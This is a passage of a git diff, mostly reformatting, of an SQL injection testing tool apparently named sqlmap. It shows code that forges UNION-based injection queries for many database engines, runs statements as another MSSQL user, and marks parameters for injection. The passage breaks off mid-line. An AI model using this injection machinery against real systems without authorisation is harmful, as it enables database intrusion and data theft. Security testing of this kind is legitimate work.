DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, + DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, + DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -720,7 +753,8 @@ class Agent(object): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) - concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery) + concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), + r"\g<2>\g<1>\g<3>", concatenatedQuery) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -733,7 +767,8 @@ class Agent(object): concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) - concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) + concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, + "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) @@ -770,7 +805,8 @@ class Agent(object): singleTimeWarnMessage(warnMsg) if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()): - _ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery) + _ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", + concatenatedQuery) if _ != concatenatedQuery: concatenatedQuery = _ fieldsSelectFrom = None @@ -807,7 +843,8 @@ class Agent(object): return concatenatedQuery - def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): + def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, + limited=False, fromTable=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. @@ -1019,7 +1056,9 @@ class Agent(object): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA): + if Backend.getIdentifiedDbms() in ( + DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, + DBMS.EXTREMEDB, DBMS.RAIMA): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr @@ -1129,7 +1168,8 @@ class Agent(object): limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) limitedQuery += "NOT IN (%s" % (limitStr % num) - limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1') + limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % ( + self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1') else: match = re.search(r" ORDER BY (\w+)\Z", query) field = match.group(1) if match else field @@ -1189,7 +1229,8 @@ class Agent(object): if Backend.getIdentifiedDbms() is not None: caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression - if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): + if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith( + FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] return caseExpression @@ -1222,18 +1263,22 @@ class Agent(object): """ _ = re.escape(PAYLOAD_DELIMITER) - return re.sub(r"(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value + return re.sub(r"(?s)(%s.*?%s)" % (_, _), + ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), + value) if value else value def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: - query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) + query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, + PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) return query def whereQuery(self, query): if conf.dumpWhere and query: if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: - prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" + prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, + query), "" else: match = re.search(r" (LIMIT|ORDER).+", query, re.I) if match: @@ -1255,5 +1300,6 @@ class Agent(object): return query + # SQL agent agent = Agent() diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 3cccd2d1e..cd49f30e8 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -27,6 +27,7 @@ try: except TypeError: DEFAULT_SIZE_OF = 16 + def _size_of(instance): """ Returns total size of a given instance / object (in bytes) @@ -41,6 +42,7 @@ def _size_of(instance): return retval + class Cache(object): """ Auxiliary class used for storing cached chunks @@ -51,6 +53,7 @@ class Cache(object): self.data = data self.dirty = dirty + class BigArray(list): """ List-like class used for storing large amounts of data (disk cached) @@ -201,4 +204,5 @@ class BigArray(list): yield self[i] def __len__(self): - return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) + return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len( + self.chunks[-1]) diff --git a/lib/core/common.py b/lib/core/common.py index bd6e01576..7f1c076b2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -203,6 +203,7 @@ from sqlmap.thirdparty.six.moves import urllib as _urllib from sqlmap.thirdparty.six.moves import zip as _zip from sqlmap.thirdparty.termcolor.termcolor import colored + class UnicodeRawConfigParser(_configparser.RawConfigParser): """ RawConfigParser with unicode writing support @@ -233,6 +234,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser): fp.write("\n") + class Format(object): @staticmethod def humanize(values, chain=" or "): @@ -252,7 +254,8 @@ class Format(object): if versions is None and Backend.getVersionList(): versions = Backend.getVersionList() - return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions))) + return Backend.getDbms() if versions is None else "%s %s" % ( + Backend.getDbms(), " and ".join(filterNone(versions))) @staticmethod def getErrorParsedDBMSes(): @@ -339,6 +342,7 @@ class Format(object): else: return infoStr.lstrip() + class Backend(object): @staticmethod def setDbms(dbms): @@ -524,7 +528,8 @@ class Backend(object): @staticmethod def getVersion(): - versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion] + versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [ + kb.dbmsVersion] if not isNoneValue(versions): return versions[0] else: @@ -532,7 +537,8 @@ class Backend(object): @staticmethod def getVersionList(): - versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion] + versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [ + kb.dbmsVersion] if not isNoneValue(versions): return versions else: @@ -559,8 +565,11 @@ class Backend(object): # Comparison methods @staticmethod def isDbms(dbms): - if not kb.get("testMode") and all((Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms(): - singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms())) + if not kb.get("testMode") and all( + (Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms(): + singleTimeWarnMessage( + "identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % ( + Backend.getIdentifiedDbms(), Backend.getDbms())) return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) @staticmethod @@ -605,6 +614,7 @@ class Backend(object): def isOs(os): return Backend.getOs() is not None and Backend.getOs().lower() == os.lower() + def paramToDict(place, parameters=None): """ Split the parameters into names and values, check if these parameters @@ -657,7 +667,10 @@ def paramToDict(place, parameters=None): if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)): _ = urldecode(testableParameters[parameter], convall=True) - if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): + if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', + _) or re.search( + DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith( + GOOGLE_ANALYTICS_COOKIE_PREFIX): warnMsg = "it appears that you have provided tainted parameter values " warnMsg += "('%s') with most likely leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " @@ -691,17 +704,27 @@ def paramToDict(place, parameters=None): elif isinstance(current, dict): for key in current.keys(): value = current[key] - if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []): + if isinstance(value, (bool, int, float, six.string_types)) or value in ( + None, []): original = current[key] if isinstance(value, bool): - current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) + current[key] = "%s%s" % ( + getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) elif value is None: current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER) elif value == []: current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)] else: current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) - candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters) + candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % ( + re.escape(parameter), re.escape(testableParameters[parameter])), + r"\g<1>%s" % json.dumps( + deserialized, + separators=(',', + ':') if ", " not in + testableParameters[ + parameter] else None), + parameters) current[key] = original elif isinstance(value, (list, tuple, set, dict)): if value: @@ -711,7 +734,8 @@ def paramToDict(place, parameters=None): walk(deserialized) if candidates: - message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) + message = "it appears that provided value for %sparameter '%s' " % ( + "%s " % place if place != parameter else "", parameter) message += "is JSON deserializable. Do you want to inject inside? [y/N] " if readInput(message, default='N', boolean=True): @@ -723,12 +747,22 @@ def paramToDict(place, parameters=None): except Exception: pass - _ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter]) - message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) + _ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), + testableParameters[parameter]) + message = "it appears that provided value for %sparameter '%s' " % ( + "%s " % place if place != parameter else "", parameter) message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_) if readInput(message, default='N', boolean=True): - testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters) + testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % ( + re.escape(parameter), re.escape(testableParameters[parameter])), ( + r"\g<1>%s" % re.sub(regex, + r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, + testableParameters[ + parameter].replace( + "\\", + r"\\"))), + parameters) break if conf.testParameter: @@ -760,7 +794,8 @@ def paramToDict(place, parameters=None): for encoding in ("hex", "base64"): try: decoded = codecs.decode(value, encoding) - if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in getBytes(string.printable) for _ in decoded): + if len(decoded) > MIN_ENCODED_LEN_CHECK and all( + _ in getBytes(string.printable) for _ in decoded): warnMsg = "provided parameter '%s' " % parameter warnMsg += "appears to be '%s' encoded" % encoding logger.warning(warnMsg) @@ -770,6 +805,7 @@ def paramToDict(place, parameters=None): return testableParameters + def getManualDirectories(): directories = None defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) @@ -877,6 +913,7 @@ def getManualDirectories(): return directories + def getAutoDirectories(): """ >>> pushValue(kb.absFilePaths) @@ -904,6 +941,7 @@ def getAutoDirectories(): return list(retVal) + def filePathToSafeString(filePath): """ Returns string representation of a given filepath safe for a single filename usage @@ -917,12 +955,15 @@ def filePathToSafeString(filePath): return retVal + def singleTimeDebugMessage(message): singleTimeLogMessage(message, logging.DEBUG) + def singleTimeWarnMessage(message): singleTimeLogMessage(message, logging.WARN) + def singleTimeLogMessage(message, level=logging.INFO, flag=None): if flag is None: flag = hash(message) @@ -931,6 +972,7 @@ def singleTimeLogMessage(message, level=logging.INFO, flag=None): kb.singleLogFlags.add(flag) logger.log(level, message) + def boldifyMessage(message, istty=None): """ Sets ANSI bold marking on entire message if parts found in predefined BOLD_PATTERNS @@ -949,6 +991,7 @@ def boldifyMessage(message, istty=None): return retVal + def setColor(message, color=None, bold=False, level=None, istty=None): """ Sets ANSI color codes @@ -966,7 +1009,8 @@ def setColor(message, color=None, bold=False, level=None, istty=None): if message: if (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler if level is None: - levels = re.findall(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) + levels = re.findall( + r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) if len(levels) == 1: level = levels[0] @@ -985,13 +1029,16 @@ def setColor(message, color=None, bold=False, level=None, istty=None): retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey")) if not any(_ in message for _ in ("Payload: ",)): - for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner) - retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey"))) + for match in re.finditer(r"([^\w])'([^\n']+)'", + message): # single-quoted (Note: watch-out for the banner) + retVal = retVal.replace(match.group(0), + "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey"))) message = message.strip() return retVal + def clearColors(message): """ Clears ANSI color codes @@ -1007,7 +1054,9 @@ def clearColors(message): return retVal -def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True): + +def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, + coloring=True): """ Writes text to the stdout (console) stream """ @@ -1042,7 +1091,10 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C if multiThreadMode: logging._releaseLock() - kb.prependFlag = isinstance(data, six.string_types) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') + kb.prependFlag = isinstance(data, six.string_types) and ( + len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[ + -1] != '\n') + def dataToTrafficFile(data): if not conf.trafficFile: @@ -1056,6 +1108,7 @@ def dataToTrafficFile(data): errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, getSafeExString(ex)) raise SqlmapSystemException(errMsg) + def dataToDumpFile(dumpFile, data): try: dumpFile.write(data) @@ -1071,6 +1124,7 @@ def dataToDumpFile(dumpFile, data): errMsg = "error occurred when writing dump data to file ('%s')" % getUnicode(ex) logger.error(errMsg) + def dataToOutFile(filename, data): """ Saves data to filename @@ -1108,6 +1162,7 @@ def dataToOutFile(filename, data): return retVal + def readInput(message, default=None, checkBatch=True, boolean=False): """ Reads input from terminal @@ -1199,6 +1254,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False): return retVal + def setTechnique(technique): """ Thread-safe setting of currently used technique (Note: dealing with cases of per-thread technique switching) @@ -1206,6 +1262,7 @@ def setTechnique(technique): getCurrentThreadData().technique = technique + def getTechnique(): """ Thread-safe getting of currently used technique @@ -1213,6 +1270,7 @@ def getTechnique(): return getCurrentThreadData().technique or kb.get("technique") + def randomRange(start=0, stop=1000, seed=None): """ Returns random integer value in given range @@ -1231,6 +1289,7 @@ def randomRange(start=0, stop=1000, seed=None): return int(randint(start, stop)) + def randomInt(length=4, seed=None): """ Returns random integer value with provided number of digits @@ -1249,6 +1308,7 @@ def randomInt(length=4, seed=None): return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) + def randomStr(length=4, lowercase=False, alphabet=None, seed=None): """ Returns random string value with provided number of characters @@ -1274,6 +1334,7 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None): return retVal + def sanitizeStr(value): """ Sanitizes string value in respect to newline and line-feed characters @@ -1286,6 +1347,7 @@ def sanitizeStr(value): return getUnicode(value).replace("\n", " ").replace("\r", "") + def getHeader(headers, key): """ Returns header value ignoring the letter case @@ -1303,6 +1365,7 @@ def getHeader(headers, key): return retVal + def checkPipedInput(): """ Checks whether input to program has been provided via standard input (e.g. cat /tmp/req.txt | python sqlmap.py -r -) @@ -1311,6 +1374,7 @@ def checkPipedInput(): return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) + def isZipFile(filename): """ Checks if file contains zip compressed content @@ -1323,6 +1387,7 @@ def isZipFile(filename): return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER + def isDigit(value): """ Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic) @@ -1339,6 +1404,7 @@ def isDigit(value): return re.search(r"\A[0-9]+\Z", value or "") is not None + def checkFile(filename, raiseOnError=True): """ Checks for file existence and readability @@ -1373,6 +1439,7 @@ def checkFile(filename, raiseOnError=True): return valid + def banner(): """ This function prints sqlmap banner with its version @@ -1388,6 +1455,7 @@ def banner(): dataToStdout(result, forceOutput=True) + def parseJson(content): """ This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content @@ -1420,6 +1488,7 @@ def parseJson(content): return retVal + def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components @@ -1449,6 +1518,7 @@ def parsePasswordHash(password): return retVal + def cleanQuery(query): """ Switch all SQL statement (alike) keywords to upper case @@ -1469,6 +1539,7 @@ def cleanQuery(query): return retVal + def cleanReplaceUnicode(value): """ Cleans unicode for proper encode/decode @@ -1478,10 +1549,12 @@ def cleanReplaceUnicode(value): """ def clean(value): - return value.encode(UNICODE_ENCODING, errors="replace").decode(UNICODE_ENCODING) if isinstance(value, six.text_type) else value + return value.encode(UNICODE_ENCODING, errors="replace").decode(UNICODE_ENCODING) if isinstance(value, + six.text_type) else value return applyFunctionRecursively(value, clean) + def setPaths(rootPath): """ Sets absolute paths for project directories and files @@ -1540,20 +1613,25 @@ def setPaths(rootPath): if "XDG_DATA_HOME" in os.environ: paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap") else: - paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap") + paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", + "sqlmap") - paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + paths.SQLMAP_OUTPUT_PATH = getUnicode( + paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), + encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # History files - paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), + encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst") paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst") paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst") paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst") paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst") + def weAreFrozen(): """ Returns whether we are frozen via py2exe. @@ -1564,6 +1642,7 @@ def weAreFrozen(): return hasattr(sys, "frozen") + def parseTargetDirect(): """ Parse target dbms and set some attributes into the configuration singleton @@ -1591,7 +1670,9 @@ def parseTargetDirect(): remote = False for dbms in SUPPORTED_DBMS: - details = re.search(r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_~\-\/\\]*)$" % dbms, conf.direct, re.I) + details = re.search( + r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_~\-\/\\]*)$" % dbms, + conf.direct, re.I) if details: conf.dbms = details.group("dbms") @@ -1679,7 +1760,8 @@ def parseTargetDirect(): except (SqlmapSyntaxException, SqlmapMissingDependence): raise except: - if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])): + if _sqlalchemy and data[3] and any( + _ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])): pass else: errMsg = "sqlmap requires '%s' third-party library " % data[1] @@ -1689,6 +1771,7 @@ def parseTargetDirect(): errMsg += "with support for dialect '%s' installed" % data[3] raise SqlmapMissingDependence(errMsg) + def parseTargetUrl(): """ Parse target URL and set some attributes into the configuration singleton @@ -1730,7 +1813,8 @@ def parseTargetUrl(): errMsg += "in the hostname part" raise SqlmapGenericException(errMsg) - hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) + hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search( + r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) conf.scheme = (urlSplit.scheme.strip().lower() or "http") conf.path = urlSplit.path.strip() @@ -1750,7 +1834,8 @@ def parseTargetUrl(): else: invalid = False - if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): + if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), + '\n' in originalUrl)): errMsg = "invalid target URL ('%s')" % originalUrl raise SqlmapSyntaxException(errMsg) @@ -1769,22 +1854,27 @@ def parseTargetUrl(): errMsg = "invalid target URL port (%d)" % conf.port raise SqlmapSyntaxException(errMsg) - conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) + conf.url = getUnicode( + "%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') if urlSplit.query: if '=' not in urlSplit.query: conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query)) else: - conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query + conf.parameters[PLACE.GET] = urldecode(urlSplit.query, + spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode( + DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query - if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders): + if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any( + _[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders): debugMsg = "setting the HTTP Referer header to the target URL" logger.debug(debugMsg) conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER] conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, ""))) - if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders): + if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any( + _[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders): debugMsg = "setting the HTTP Host header to the target URL" logger.debug(debugMsg) conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST] @@ -1793,6 +1883,7 @@ def parseTargetUrl(): if conf.url != originalUrl: kb.originalUrls[conf.url] = originalUrl + def escapeJsonValue(value): """ Escapes JSON value (used in payloads) @@ -1815,6 +1906,7 @@ def escapeJsonValue(value): return retVal + def expandAsteriskForColumns(expression): """ If the user provided an asterisk rather than the column(s) @@ -1822,7 +1914,8 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", + expression) if match: infoMsg = "you did not provide the fields in your query. " @@ -1857,6 +1950,7 @@ def expandAsteriskForColumns(expression): return expression + def getLimitRange(count, plusOne=False): """ Returns range of values used in limit/offset constructs @@ -1889,6 +1983,7 @@ def getLimitRange(count, plusOne=False): return retVal + def parseUnionPage(page): """ Returns resulting items from UNION query inside provided page content @@ -1938,6 +2033,7 @@ def parseUnionPage(page): return data + def parseFilePaths(page): """ Detects (possible) absolute system paths inside the provided page content @@ -1958,6 +2054,7 @@ def parseFilePaths(page): if absFilePath not in kb.absFilePaths: kb.absFilePaths.add(absFilePath) + def getLocalIP(): """ Get local IP address (exposed to the remote/target) @@ -1977,6 +2074,7 @@ def getLocalIP(): return retVal + def getRemoteIP(): """ Get remote/target IP address @@ -1999,6 +2097,7 @@ def getRemoteIP(): return retVal + def getFileType(filePath): """ Returns "magic" file type for given file path @@ -2028,6 +2127,7 @@ def getFileType(filePath): return "text" if any(_ in desc.lower() for _ in ("ascii", "text")) else "binary" + def getCharset(charsetType=None): """ Returns list with integers representing characters of a given @@ -2076,6 +2176,7 @@ def getCharset(charsetType=None): return asciiTbl + def directoryPath(filepath): """ Returns directory path for a given filepath @@ -2093,6 +2194,7 @@ def directoryPath(filepath): return retVal + def normalizePath(filepath): """ Returns normalized string representation of a given filepath @@ -2105,10 +2207,12 @@ def normalizePath(filepath): if retVal: retVal = retVal.strip("\r\n") - retVal = ntpath.normpath(retVal) if isWindowsDriveLetterPath(retVal) else re.sub(r"\A/{2,}", "/", posixpath.normpath(retVal)) + retVal = 